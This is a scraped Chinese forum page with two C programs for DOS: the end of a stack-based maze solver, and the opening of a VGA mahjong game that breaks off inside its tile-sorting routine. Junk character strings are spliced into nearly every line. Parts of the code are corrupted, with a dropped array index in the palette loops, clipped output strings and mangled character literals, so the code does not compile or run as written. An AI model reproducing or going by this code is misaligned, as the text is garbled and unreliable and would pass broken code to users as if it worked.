void MarkPrint(PosType seat)& Q9 d' ?6 C8 w" f8 n$ U8 C
/* Mark the position seat. */
. M! I( U2 q( p' g1 z{5 z. T. A- x( H# z. @9 A9 ^1 c0 V5 R
maze[seat.x][seat.y].mark=-1;0 M% ]6 m5 ?+ ]$ M2 [7 j" D
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */, o2 {1 m; p; v3 S
} /* MarkPrint */( q) l2 b) V' u, r$ ~/ y
void FootPrint(PosType curpos). L/ l8 o, I7 x: T7 D0 r4 S
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
8 I8 g. z$ Y, H8 n{
: K! z2 S! l$ n2 Tmaze[curpos.x][curpos.y].foot=1;
1 f5 [% Z9 w3 ?, ^  w+ a3 |( `} /* FootPrint */4 v3 ~, s* y, O- t4 h5 o% ?
PosType NextPos(PosType seat,int di)' Q. c4 j/ m6 n" d5 W% k1 }
{
* W2 v+ [; A. d# M1 oswitch(di)
) W% E6 I- f" s. b{% K/ X& l# q4 S0 H- o
case 1: seat.y++; return seat; /* Eastward */
  K# }) F# J' P0 B1 p7 Tcase 2: seat.x++; return seat; /* Southward */
* ]! ^, K: ?- V: {( C9 rcase 3: seat.y--; return seat; /* Westward */. e5 L+ x. M% f0 b
case 4: seat.x--; return seat; /* Northward */
6 `1 ^6 }4 I, x( i4 Cdefault: seat.x=0; seat.y=0; return seat;" ?5 T2 p; l# c/ ?* F' p
}
1 ~* p/ s% q- p# o1 ~% `' _3 W} /* NextPos */' c- l* M1 p; f! B2 d2 {2 ?& @
$ @: P& ?. b8 v( ]1 d
/* The key to the program. */! o2 R- D, W' f! i
/* Pre: The maze array &amp; the startplace &amp; the endplace.
  g" P2 V% S  }" r- q" _Post: Find the one traverse of the maze and perform the mazepath.6 r  R4 c/ I% q7 A3 C+ G( ?
Uses: The ADT stack class.- X4 w! T0 r: ~" a. I9 {% H9 [
*/
" E  k2 q$ o) p- _Status MazePath(PosType start,PosType end)& @. z% H( B/ S; u  z* x
{
. X6 i* k) Q& w% G% W# n% ^8 vPosType curpos;2 L: n8 t9 I7 E0 k$ Z8 [. m
int curstep;. G/ P) Z' X6 z: f# d
SElemType e;  I: N' A1 W% r
Stack *s,stack;
0 z5 ]0 f, b0 b1 [stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
/ k8 E  ]. F3 M4 [if(!stack.base) Error("Overflow");
: u( M4 i8 w& f# l# wstack.top=stack.base;5 e! P, t1 e+ d! O5 U- \* ^3 w
stack.stacksize=STACK_INIT_SIZE;
  \$ Q/ m% |! \# J& f. xs=&amp;stack;
8 i) T& r7 D+ W: I4 |) f# \' Ccurpos=start;
9 e  q" q6 C! ^) _  xcurstep=1;5 o" w" n+ z, ?# N
do& ?8 B* S1 O7 Z; K* E
{, ~" T( D* d1 F$ m$ N0 ^- |+ ^9 a1 |
if(Pass(curpos))
" Q7 H% F4 a8 U: G{* H& g1 }& f& S  n
FootPrint(curpos);7 [. q. }3 a+ A7 b* o1 D
e.ord=curstep; e.seat=curpos; e.di=1;
, u/ ]% P( g( L/ c7 H- Ygotoxy((curpos.y+1)*2,curpos.x+2);
. ?+ w0 X! G. q: W* F" E! cputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
0 Z! Z/ x) e# W8 o: Ndelay(8000); /* pospone time. *// ]7 Y  {0 a8 Q! Z4 I' \8 G! j4 }
Push(s,e);
; {% h' U7 t8 v  m' qif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
7 X) o* t( b9 z2 v% V8 F{# a3 u3 q) T* P1 C# O$ s
DestroyStack(s);! }$ u8 M! \9 h( }
return TRUE;+ x: R. q+ |% t  J' [% }* L
}6 O# f: u# H- C0 q! L
curpos=NextPos(curpos,1); /* Try next position. */
* P- d+ a: L3 D! L! f! N8 }% z1 Qcurstep++;
0 r: o3 M7 f9 |}
6 G  i' J/ M+ T  ielse0 n9 _2 ?1 A4 W+ e( ]! C
{
5 Z/ V7 s2 ?) Q: A1 _  ]+ tif(!StackEmpty(s))
! Y9 J+ b8 A1 {0 A# X9 }+ K; T{
: }7 B& \6 D& ^; ~- ^9 A0 Je=Pop(s,e); /* Removed e from s. */
0 A0 R, k" a# p/ d  {& Xwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
9 `% ^" }0 `; q" ]and s is not empty. */& H# }! p8 j0 ^, `
{' ^: J% ?8 R3 G2 H) O" K
MarkPrint(e.seat);7 I& \* N, D3 v8 L/ _
gotoxy((e.seat.y+1)*2,e.seat.x+2);  C8 f$ j" v$ U# Z7 a  j
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');1 t+ j8 V, D0 G) o+ y0 f/ w
delay(8000); /* Pospone time. */. A8 J5 o2 v6 N8 f( I0 x) B
gotoxy((e.seat.y+1)*2,e.seat.x+2);
6 a, L2 D& i# e+ Uputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');! b. V% t! q3 g9 H  E
e=Pop(s,e); /* Remove e from s. */( r8 [( [" A9 {: n$ X+ \
curstep--;
" f9 ]( a# {& k3 z}5 L3 f. p3 T/ o4 P- k4 I
if(e.di&lt;4) /* The current position hasnot been checked. */
: p3 O7 r4 D# y( U. P/ i1 A5 Q{! k& p( X1 V- n- d" y% n
e.di++;
5 L; `: h: C5 A$ D0 EPush(s,e); /* Insert e into s. */7 m9 B9 h& F" N8 R$ i  w
curpos=NextPos(e.seat,e.di); /* Try next position. */  l9 a+ i3 [2 m- L3 _4 B
}5 @& j) x( {  {) v$ A
}; o1 V6 K' j% B2 t
}
( y% s, D# _) X  \- ~, t: c}+ b1 }" q; b3 q/ B7 b8 J4 |
while(!StackEmpty(s));
2 C8 S! }* h% k* p5 |0 p7 S( @8 W/ zDestroyStack(s);; P& H) Z- l: [. a" d2 C
return FALSE;
& m9 ?5 g: a. O} /* MazePath */
9 W8 D: T" N- Tvoid main()" K5 d5 H8 L5 W" g. r- v3 Y
{
  N% |' b0 T; K8 C- \PosType start,end;
$ M+ |; Q9 b( t9 [, ]CreatMaze();/ m6 t& d8 r; L) ~
start.x=StartPlace.y;3 [  s$ b5 @0 R4 Q% M" s
start.y=StartPlace.x;( T$ Q/ ?5 G* T" M" x
end.x=EndPlace.y;( r+ @9 |! l1 y" H
end.y=EndPlace.x;
# \/ h9 L3 S2 D# C* @9 n+ x; lif(MazePath(start,end))
) G3 x1 ^' u/ Q5 F; k$ I+ K8 X0 g{
# S2 ~4 W0 H  ~" g: Wgotoxy(2,22);8 H; v5 i( ?1 I: ?( o$ N
printf("ath found\n");# l& p; F( T/ m
}
! T+ I3 ]. H0 n' _+ b4 [1 felse
6 _# s4 j9 s8 t) W4 g9 y7 I{
2 D) Y# M# n% Z, ~gotoxy(2,22);+ ^- f/ f. D2 G: N' }
printf("ath not found\n");7 m) h1 `+ n& }& T# c
}
9 w+ u$ L" y; q' o3 Jgetch();
5 {% R! p0 G$ O/ [clrscr();
: ~# V. ]; G6 Z} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传. W/ ~; s6 P+ G0 Y" \
/*天宇软件
  S5 f4 F! P' d4 B' O# M* h5 r0 s: U作者:上海黑暗之龙
/ _5 S: o9 @8 K5 N# ]2002/10/30" n% c4 `+ F4 k2 y: D9 X5 b
麻将原代码*/
2 k: p3 P+ p% n#include "dos.h"2 w& W" x7 U6 O: D
#include "stdio.h"
' _8 T7 ^2 e/ a4 G' e6 B) z#include "graphics.h"$ `8 d- b  z" D6 I% _- m
#include "bios.h"
' \; X9 A& K, n# r2 J#include "conio.h"
+ W. d( Z( f2 b/ T* x#include "stdlib.h"
: E: ^0 g- M: e( \2 A5 P6 @unsigned char far *video_buffer=(char far *)0xA0000000L;/ w: n! g" z1 \* s
#define VGA256 0x13 /*图形模式13h*/5 n: d5 b% y! x) n% H: v- [7 O
#define TEXT_MODE 0x03 /*普通文本模式*/
3 [; z- {! u0 [% M#define SETVGA Set_Video_Mode(VGA256)- d& @$ p6 G+ Q8 M8 h
#define OUTVGA Set_Video_Mode(TEXT_MODE)
) ^+ m+ M# S5 _5 I#define BYTE unsigned char; c+ F! z+ i+ X* a& v& H3 B3 J8 P
#define WORD unsigned int6 c5 D6 \' i' @. ~  \
#define DWORD unsigned int
* L: x; e7 _( J' t. G#define ESC 283
' M1 T" x2 {4 @#define LEFT 192006 R6 f- B2 ?. M6 E6 J
#define RIGHT 19712& Q+ z; L" a5 j( y- S: C
#define H 9064; T6 E" K  G: T& {( g
#define ENTER 7181
$ X) k+ A9 Y8 z9 u, r- `& sunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;0 K: R; E/ Y  y, j; c, b3 J; F
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;  y# Q- f- t3 y8 r& O+ p/ w
struct chi/ P6 |7 |+ Y! T8 h0 L
{' c5 r, w! Y' T. t8 F
int lg;9 I5 i3 N* [2 N; B( m/ |$ n
int lgg;
" X2 b6 l: R! U) i* Q# D}ch[13];' K5 A1 N+ K8 _2 `/ r3 Y
struct mj7 U* Z, ?- g  ]$ f& y/ x
{ char *name; /*名字*/
$ ~5 `/ h2 H3 r. v$ a' aint data1; /*是否已出,无用了*/+ [6 D+ @( Y" |+ u' N/ u
int data2; /*是否在手中,1为自己,2为对方*/$ C$ y; c" _, ^) C2 I/ @
int number; /*同一个花色的第几张,共4张*/) C2 e4 R7 ~( c$ H# P
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
& c1 v0 t, d4 K% U$ _) I"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,* M( R' {0 n9 l' g! `& ]
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,6 n# C# Q$ J) z  m% K' F& o  a
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,1 f2 K0 L+ n1 o/ u- e
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,8 m+ @# o/ C/ U4 e! w( x) T
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
6 p3 Q+ a2 x8 F6 z# s3 L- \  ^"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,' M+ E+ A5 T. i2 `% t5 z- l
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,. m# c+ X" ~9 l" d
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
& x$ f: q+ U: y" S/ u6 j"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2," ?1 _+ }8 [" i) G
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
4 |. J0 b  A" p1 K' c"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,! b. [( S% h6 B6 {" L
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
2 w# Z0 ]" i0 ]; K  S"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,- t0 u* G+ @' p& @- M3 a
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
, N+ K/ h$ d8 Y"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
# U$ w* X  l$ q' D; r"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
/ I3 v. N/ z( |7 ?: @"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
/ E7 k) M: T0 ~$ o"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
: H: q+ f# ^* @, Q9 E" r"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4," j/ }  l8 G$ ]/ i4 w' o0 {
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
. ?: \7 x# x" n/ B( }/ T"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
* Z+ g; i; {7 V. f  D7 X"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
  c2 k: ^# R' X" }. \"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,. i) `4 b# B) l8 {5 C* Z4 y
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
3 t$ G% d, y4 k, _4 g- P0 I"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
+ P5 o- X: z1 g( k7 S% N"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,2 J6 ^- N2 `4 \
"34.bmp"};" h- r/ v! W+ A5 U
struct every
, m: j1 R5 J5 L9 `3 }{ int *k; /*名字*/
2 g) ~/ u/ J7 M8 B/ A  [int oneorfour; /*同一张牌的第几张*/
  f; i, U; V+ H5 gint number; /*第几张牌136*/
# C. h( k& W5 w9 B2 Z  h7 Qint p;
' K: ^; a; e2 @0 F# Pint g;, R/ |8 Y) L# i6 P9 u- v
int c;9 w! p" H" Y) k" l6 A6 }; y
int d[2];
+ _# n5 b! t2 s% r};
) a& Q& u. q) h+ hstruct me
: R/ S0 Z/ b/ j1 a# [2 O  W. h! L{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
5 Q& [/ m) G, p, Dint p; /*乓对方*/
6 d" H4 i$ G9 K9 V3 Cint c; /*吃对方*/
. [& s1 g* d% t/ O/ ^' i; ?int g; /*杠*/1 W& x1 v+ @: v7 L
+ y/ W5 x, ]: [: v0 \: Y4 g
struct every pp[14]; /*存放手上的牌*/) i8 \4 L" ]$ ]% x6 M0 ~8 ?. U1 c
}me;
3 L  G% U( p$ e  Rstruct computer
- C. Z7 A5 |2 y! _) B3 o{ int m;$ n5 U! J9 p/ \, L: v
int p;
* Z; w/ s9 ?5 _4 l* lint c;
2 f! M+ `( n# v: vint g;8 K1 l# a" W1 A. ]) |7 |+ k" H# S
struct every pp[14];; W; z( f8 q# \9 t
}computer,comp;) u$ s9 H) Z) L% s- R! {

# h4 m! v' H" i1 X! s' n1 _9 n/* 设置调色板 */3 S0 H5 Z7 v- J/ k$ V( ~) M8 c
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)- P& q% s$ k6 _) n8 x- f1 m
{' n/ B1 N) R5 N' x* b% P
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
( O$ K+ Q8 R6 \) \outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/% Z" ]. G! R1 x- z, h1 N  E
outportb(0x3c9,g);
# `1 l2 z! ?) q$ x8 ?1 u: R5 R- Joutportb(0x3c9,b);# P; n1 }7 w% e: h' R0 g( \7 b2 ^
}
( y8 B- ~2 r% i+ a; j* u/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/' [5 d% o. P4 @2 x) K- [
/* 设置显示模式的函数 */
9 W7 H9 n* s8 D1 a( \$ p5 @void Set_Video_Mode(int mode)# G! w' r* n( y# U  Y4 X! ^2 }- R0 k* D9 `
{0 A/ r7 c/ F1 Y' M" q" }% k7 Y$ q* p
union REGS inregs,outregs; /*定义输入和返回寄存器*/; ?" v8 \* q+ e7 ^2 L
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/: x* Y' I# C: @
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
+ s- H1 A* l* F# jint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/6 ~, A# u6 A$ Z" F
}8 N7 j; [+ M- e
void v_line(int y0,int y1,int x,unsigned int color)! K9 @- A+ w) A* u) M$ D7 t+ ~
{ unsigned int address,n,temp;
; ^, p7 x3 k5 _  O/ t/ Z7 g6 ~0 O! Uif(y0&gt;y1)+ ]- n7 U+ }) q6 u; J
{8 x0 ]" ^# Z  O! }5 q9 Q
temp=y1;
6 @( W# o  y% V# ]6 U% ty1=y0;& S7 \9 ]1 U! c  N7 ^7 ~
y0=temp;
' G' @. \+ V" _& h3 v; K}9 ^( D$ o( x! [
address=320*y0+x;
4 t& R% P" Q5 F$ A2 k# Cfor(n=0;n&lt;=y1-y0;n++)
3 i9 p0 k, ~+ V4 T{3 T) m+ v. m/ P! d6 r% I
video_buffer[address]=color;
' W. }! n6 q# @5 q/ w+ m$ c4 n: O" |address+=320;
* [, U# J5 p2 H5 m' @}2 }6 ~. L5 F5 k9 ]* V/ B
}, k6 s/ x* |; l5 {
void h_line(int x0,int x1,int y,unsigned int color)
5 r, O3 f! q9 C. E+ [{ unsigned int address,n,temp;
/ ~% J% l$ F$ c" J  a: b. k- m0 Gif(x0&gt;x1)0 ?+ G1 @: Q- k, G9 X& L$ Z; @- Q
{
0 y* a- \  e; M6 {! L' B* ~temp=x1;! k- c6 h; f5 y& x, D( {% ]
x1=x0;; F2 u- @" v: b+ u! V( J
x0=temp;
# |6 W$ s2 y/ i* A1 U3 X}
- \, m9 X9 \2 Z! K, x& j# S) \1 saddress=320*y+x0;
" m! I7 V5 E1 }" i) A+ xfor(n=0;n&lt;=x1-x0;n++)- Y/ k; R& G) ?( B( |1 r
{
7 L! V: B% Z* L( ~/ a6 C1 Evideo_buffer[address]=color;9 X$ }% ~( [  C4 `! J: ?5 c
address+=1;- G$ u$ l7 k& U0 s- M, d
}* l6 T" h. b4 _( e3 ^! |
}3 u4 }% P9 X' f2 G+ n7 h
void p_pixel(int x,int y,unsigned int color)
" V% w* Z, s4 l' ~{ video_buffer[y*320+x]=color;" v9 [: R6 U2 P  H
}
5 u2 p5 q; {, }1 w4 ?; @void s_square(int x,int y,int side,int color)
* d- d0 W( Z* M) ^{, j- Z6 m, @; ]. Q
h_line(x,x+side,y,color);
6 `  b  b. m( o, W9 y, R$ sh_line(x,x+side,y+side,color);, e" @- R1 c3 t* ]8 y; N. q5 ]$ D
v_line(y,y+side,x,color);
3 E# |1 {1 W/ V5 vv_line(y,y+side,x+side,color);8 x  {) R9 D* y  Q6 K  k& l
}5 J4 @  M) t' G  Q$ ~0 I6 \
void r_rectangle(int x1,int y1,int x2,int y2,int color)9 y8 r) @6 Z; o8 D3 m8 p% S. `
{- d; P1 a8 D" y) u
h_line(x1,x2,y1,color);) e3 |' I$ b. V
h_line(x1,x2,y2,color);. R/ d9 N5 U; I8 i* ^- l  H5 T: \
v_line(y1,y2,x1,color);6 h# R7 n; t( E
v_line(y1,y2,x2,color);0 N5 _- r  B- I
}+ o( i' _0 g% M6 P# S$ W- u
void fillRectangle(int x1,int y1,int x2,int y2,int color)) B& }& ?' k  `% c
{
4 @) k. h+ J: W- z# \" W+ C4 f2 ?int i;# C) Q6 e' a! @
for(i=y1;i&lt;=y2;i++)0 }5 \/ a. G3 i  ^( u& K
{; T8 s" r- E3 v8 ?
h_line(x1,x2,i,color);
* I5 M4 t7 a# t( O: v1 E}
- X0 L3 R+ U$ z% [3 k: p# W% C& a% U}5 a: g+ m) [0 F) V6 D; G  w
void showbmp(int l)
% o: k7 Z# R9 n" }6 T/ t{ FILE *bmp;
4 y0 d8 y. K, h. jint i,x,y;6 N% U% j3 ^' J9 v( d1 W
BYTE palette[256][3];
6 S% [+ C! m7 G6 D* Ybmp=fopen(me.pp[l].k,"rb");
. i* w0 Y% i  s% |% ifseek(bmp,54,SEEK_SET);. s1 ]* ?9 \! A" p) w, L1 Q
for(i=0;i&lt;256;i++)
" S  _! n- K! {% H& C{
* Z8 G+ T, R: Hpalette[2]=fgetc(bmp)&gt;&gt;2;
& [" F% n5 |3 {0 C$ R7 Qpalette[1]=fgetc(bmp)&gt;&gt;2;! R! d  m- |& R  T; X' a2 W: ^2 R
palette[0]=fgetc(bmp)&gt;&gt;2;+ p7 ^, G- h+ q* F  ]0 W' j9 N' s* M
fgetc(bmp);8 ~/ \( I# c3 I; ]' @( z1 F
Set_Palette(i,palette[0],palette[1],palette[2]);
. y/ Y- s" j9 b( W}
, {- L) l. ]' B% \' V' x6 s. {4 Y7 Kfor (y=0;y&lt;30;y++)
2 D) `, w" b. J* Z1 pfor(x=0;x&lt;20;x++)
3 G! d5 y: Q1 Y  spokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));' n6 T% L7 F& \0 i
fclose(bmp);' Q. m- z( t2 s* W8 M
}
' n: a( D: L" j- S$ Rvoid showbmpd(int l)
1 s1 b* w0 ^* X% S* P{ FILE *bmp;9 h/ `( \( B1 V  }6 r3 I
int i,x,y;! a1 |; E/ `0 D3 V) A
BYTE palette[256][3];8 A9 ]# v6 r$ }' [+ W$ X
bmp=fopen(me.pp[l].k,"rb");
# F& d  A2 `0 kfseek(bmp,54,SEEK_SET);0 h. b, x. U7 O8 L! b$ {5 w
for(i=0;i&lt;256;i++)
9 T2 }4 g) h, E  v, A& v4 K{- Z, v0 P7 G$ X" K
palette[2]=fgetc(bmp)&gt;&gt;2;, d+ A& C( u3 C5 |7 |! L
palette[1]=fgetc(bmp)&gt;&gt;2;
  u1 ]+ [3 k7 Opalette[0]=fgetc(bmp)&gt;&gt;2;
9 T+ J7 q3 p3 e9 D% Efgetc(bmp);) E8 B  t2 f% h1 i
Set_Palette(i,palette[0],palette[1],palette[2]);
- y- I8 [4 H9 ?' c2 S" l8 ^}
& S/ B, O, k; i" p. R3 ^& efor (y=0;y&lt;30;y++)
: R8 c$ w3 s* U* D8 L) T& Wfor(x=0;x&lt;20;x++)) u7 k' J# T7 b
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
9 w4 {' x# e; y3 D$ X$ lfclose(bmp);0 S0 g' y) T3 E5 p4 Q4 R5 r8 f
}9 w0 J! i  H5 R" a. i; P
void showybmp(int ll)
7 o2 a1 D) G4 q/ l1 n1 ^{ FILE *bmp;) N# U" f, ^* E# z, g- e$ e
int i,x,y;% h% C) I+ L1 g, ]# F' U$ @. P7 r1 J
BYTE palette[256][3];
: ^1 r( O3 u$ T3 R: Jbmp=fopen(computer.pp[ll].k,"rb");
- J7 ~- o& e3 e7 i5 Mfseek(bmp,54,SEEK_SET);
/ I2 {& m) g% J# T" F5 sfor(i=0;i&lt;256;i++)
2 I6 \/ H7 v4 d4 l, T' \{9 U* J, h2 I) h! c
palette[2]=fgetc(bmp)&gt;&gt;2;  [: l* R) F  J! f0 P' B. Q
palette[1]=fgetc(bmp)&gt;&gt;2;  B% ]" ~5 c1 u! e) Q* \: C0 u
palette[0]=fgetc(bmp)&gt;&gt;2;& `8 N+ @, J& @7 t2 C# q6 I- l
fgetc(bmp);5 _: s' \+ q, z1 q" z; t6 q
Set_Palette(i,palette[0],palette[1],palette[2]);/ |9 m9 S6 I: Q7 D% Q
}" ^0 b2 p0 O. Y6 ~
for (y=0;y&lt;30;y++)8 @/ V2 o" X$ h+ V, F' j  ]: b
for(x=0;x&lt;20;x++)5 Q7 ]$ D6 h  K
pokeb(0xa000,y*320+x+zy,fgetc(bmp));, s' Y( I/ P& r
fclose(bmp);
$ o4 x) Z, u# r3 c# t! o}
( k8 c: y7 @/ n0 p! kvoid showcbmp(int ll)( ~6 j* D5 x$ I/ c( ~7 G
{ FILE *bmp;
4 C: ^$ y  r$ v& @int i,x,y;
  z2 H2 ^4 o( j- h5 X. FBYTE palette[256][3];
9 Y$ s) T; z2 v( Z# F1 k9 A7 I) wbmp=fopen(computer.pp[ll].k,"rb");
& D% p& [2 j: M7 f% u, x/ @fseek(bmp,54,SEEK_SET);
& |& u5 w. F" Z, ?# G0 g% Rfor(i=0;i&lt;256;i++)  ?  ^- ]/ I  q* V5 L  u5 R
{2 }+ Z2 O1 f, t* H: R/ @) H- ~5 k/ B; t
palette[2]=fgetc(bmp)&gt;&gt;2;
& P/ G  {6 p) Npalette[1]=fgetc(bmp)&gt;&gt;2;
) w+ y) M- Z5 Hpalette[0]=fgetc(bmp)&gt;&gt;2;  k$ h7 q7 K; h% B" e
fgetc(bmp);
) z; g4 o  D% W7 ~: CSet_Palette(i,palette[0],palette[1],palette[2]);
! g$ L8 p. R, G}& C6 W# C* z0 p2 B& x% |
for (y=0;y&lt;30;y++)- w9 e( p% C8 Q  J6 V4 r
for(x=0;x&lt;20;x++)4 x9 U) [# V6 K' L4 X. J
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));) [0 G( P( j+ Q+ p
fclose(bmp);
8 x0 l: J# Y- m$ P}
8 r! e- y) ~  q! B4 _void bmpp(int number)3 |+ c; I; x8 a9 P
{ FILE *bmp;% X, l! l0 V0 H  F9 t
int i,x,y;
, B+ i% b4 Z' ^; w0 w$ b8 uBYTE palette[256][3];4 W. N7 d4 v1 C3 M9 o; |
bmp=fopen(m[number].name,"rb");
$ `# P0 [" R6 ~: F/ k! T" dfseek(bmp,54,SEEK_SET);
1 w8 c9 n+ I& A. M& j6 F$ z6 R& gfor(i=0;i&lt;256;i++)! Q4 B& k  f# t( r* N, Z" R* ~9 k
{* v6 r8 }6 B5 r$ N& n3 x" L0 x
palette[2]=fgetc(bmp)&gt;&gt;2;
( r' [% x. }5 T4 wpalette[1]=fgetc(bmp)&gt;&gt;2;5 B* L9 L* `& j" W* b9 S7 N
palette[0]=fgetc(bmp)&gt;&gt;2;' T8 [9 Z! S( s' g7 {1 W
fgetc(bmp);
7 U& [/ O& l- X/ N8 BSet_Palette(i,palette[0],palette[1],palette[2]);
9 M: ]+ u3 D; W3 o% f7 s}0 b  N7 [) z% U0 C' t3 c0 X6 p
for (y=0;y&lt;30;y++)8 B, N' }) W# T1 h* X) M
for(x=0;x&lt;20;x++)
* _0 T* S9 H0 q  o  _/ b6 ~pokeb(0xa000,y*320+x+zl,fgetc(bmp));& F# c" O3 ^6 _9 n9 Y0 |0 W
fclose(bmp);! X1 M1 {! I) M  Z# V) F
}" H1 F. ~8 o+ ]6 J
void comlipai() /*整理电脑的牌*/
$ C1 H3 b3 x3 Z8 J. m2 e# I, [{ int n,j,u;
) {6 y/ m$ p# K; {; Cint *lingshi;3 B  ^" }' a/ f- R' A1 I
for(n=0;n&lt;computer.m;n++)) ~0 m- v5 Z) W) P, s& |
for(j=n;j&lt;computer.m;j++)$ j, h2 G; I* G6 A0 Q! C2 J7 }8 s. W
{: ]' x0 n0 v/ ^1 C! Y- A
if(computer.pp[n].number&gt;computer.pp[j+1].number)
; q: }; h& T; ]( L! n. t1 p) w8 \{
5 B3 _) w3 e  olingshi=computer.pp[n].k;
: `/ \+ L% z: J' ?' n6 G5 Q) Vcomputer.pp[n].k=computer.pp[j+1].k;6 }. L4 a& L+ E: D2 V( w# @/ u8 {
computer.pp[j+1].k=lingshi;
( L' X! G  f4 ?( t+ P& Uu=computer.pp[n].oneorfour;
: ]8 d9 F4 _# a; G) T5 E0 ~. xcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;- D& r5 g2 O4 Z$ O; d
computer.pp[j+1].oneorfour=u;* F; y( n0 E* V' s; }1 D9 q
u=computer.pp[n].number;, r+ f; }+ q8 K% k( f
computer.pp[n].number=computer.pp[j+1].number;
9 [  `9 f2 C8 t# lcomputer.pp[j+1].number=u;: t3 H  b& ?2 Q" }9 R' P; R
}
5 q  X8 j/ |8 L* g* \. u% jelse1 m2 @! l* j6 c& V( l) E
if(computer.pp[n].number==computer.pp[j+1].number)
+ a( ?( c; y& }8 s, B) yif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)0 i0 ^; G, {( d2 m8 x+ O
{
: R& e  z: w3 }  b8 y; elingshi=computer.pp[n].k;( w3 Y: U* T$ n
computer.pp[n].k=computer.pp[j+1].k;
* c4 q  d7 |3 m( Z0 x, u" Hcomputer.pp[j+1].k=lingshi;
  E! R* u# {- p$ A  hu=computer.pp[n].oneorfour;- C, v$ ^* o/ K! D
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
2 x$ |0 m  A' f6 |8 Q1 s! gcomputer.pp[j+1].oneorfour=u;
- c: R/ X7 E  ~- T& Eu=computer.pp[n].number;9 [7 l. ]7 ~) A! w
